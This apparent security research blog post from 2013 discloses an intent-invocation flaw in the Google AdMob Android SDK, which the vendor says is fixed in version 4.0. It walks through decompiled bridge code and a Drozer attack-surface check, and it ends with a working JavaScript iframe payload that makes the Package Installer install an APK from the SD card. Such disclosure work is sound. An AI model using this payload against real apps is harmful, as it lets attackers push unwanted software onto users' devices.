Google AdMob Ad Library - Arbitrary Intent Activity Invocation
on 20 December, 2013
Lately we have been analysing mobile advertising networks and in particular the Software Development Kits (SDKs) that the networks make available to application developers for the purpose of monetising their applications.
During this research, we have found that a lot of applications expose mobile device users to the very real threat of compromise. We have found a number of exploitable cross-platform vulnerabilities, and we are still in the early stages of looking into this area.
This blog post will detail an issue discovered within the Google AdMob SDK. Google make an SDK available for Android, iOS, and Windows Phone. This post pertains to an issue identified in the Android SDK. The vulnerability can be exploited by injecting JavaScript into a WebView. We have released output from related research previously – see the previous post for background information on this class of vulnerabilities and how to spot native bridges when auditing code for mobile applications.
We reported this issue to the vendor, and they have confirmed it is fixed in version 4.0. If you make use of this library in your application, it is recommended that you update to the latest available version.
What are your intentions?
The Google AdMob SDK was downloaded from Google and de-compiled. The bridge was found to be implemented within the package com.google.ads.internal (class i) that contains the ‘shouldOverrideUrlLoading’ method, which in-turn calls the method ‘launchAdActivity’ within the ‘com.google.ads’ package (AdActivity class). The attacker can control all of the parameters passed to the ‘startActivity’ method. The parameters the attacker controls are as follows:
String str1 = (String)paramHashMap.get("u"); // data
String str2 = (String)paramHashMap.get("m"); // type
String str3 = (String)paramHashMap.get("i"); // intent
String str4 = (String)paramHashMap.get("p"); // package
String str5 = (String)paramHashMap.get("c"); // component
String str6 = (String)paramHashMap.get("f"); // flags
String str7 = (String)paramHashMap.get("e"); // extras
Intent chaining
Numerous vulnerabilities have been discovered in various Android applications that were exploitable due to exposed Intent Activities. The following resources provide insight into the attack surface exposure:
- http://css.csail.mit.edu/6.858/2012/projects/ocderby-dennisw-kcasteel.pdf
- http://www.quarkslab.com/dl/Android-OEM-applications-insecurity-and-backdoors-without-permission.pdf
- http://www.intelligentexploit.com/view-details.html?id=15450
- http://blog.palominolabs.com/2013/05/13/android-security/
- http://www.securityfocus.com/archive/1/525223
- http://research.microsoft.com/en-us/um/people/ruiwan/mobile-origin/facebook-next-intent.pdf
- http://research.microsoft.com/pubs/200406/ccs127-wang.pdf
- https://viaforensics.com/mobile-security/chained-vulnerabilities-firefox-android-pimp-browser.html
A vulnerability was recently discovered by researchers at IBM Security Systems named Fragment Injection that affects applications that extend the base class android.preference.PreferenceActivity. This allows these applications to execute arbitrary code in the context of the target application via Intent Activities. There is potential to use the vulnerability discovered in the Google AdMob library as a vector to exploit the “Fragment Injection” issue remotely.
While the vulnerability within the Google AdMob SDK does not in itself lead to a compromise, it can be used as an entry point to target other applications that may expose vulnerable activities. Drozer can be used to analyse the attack surface of installed applications. An example analysis of the Package Installer application is presented below.
dz> run app.package.attacksurface com.android.packageinstaller
Attack Surface:
2 activities exported
0 broadcast receivers exported
0 content providers exported
0 services exported
From the manifest file, we can easily obtain the parameters required to interact with the exported activities:
package="com.android.packageinstaller"
activity name=".PackageInstallerActivity"
action name="android.intent.action.INSTALL_PACKAGE"
data mimeType="application/vnd.android.package-archive"
To exploit this issue, the activity can be called with attacker controlled parameters. As a Proof-of-Concept, the following payload can be used to launch the Package Installer application and install an apk from /mnt/sdcard/agent.apk:
iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'gmsg://mobileads.google.com/open?a=android.intent.action.INSTALL_PACKAGE&u=file:///mnt/sdcard/agent.apk
&m=application/vnd.android.package-archive&i=android.intent.action.INSTALL_PACKAGE&p=com.android.packageinstaller');
document.documentElement.appendChild(iframe);
iframe.parentNode.removeChild(iframe);
The parameters are listed below:
a = android.intent.action.INSTALL_PACKAGE // action
u = file:///mnt/sdcard/agent.apk // data
m = application/vnd.android.package-archive // type
i = android.intent.action.INSTALL_PACKAGE // action
p = com.android.packageinstaller // package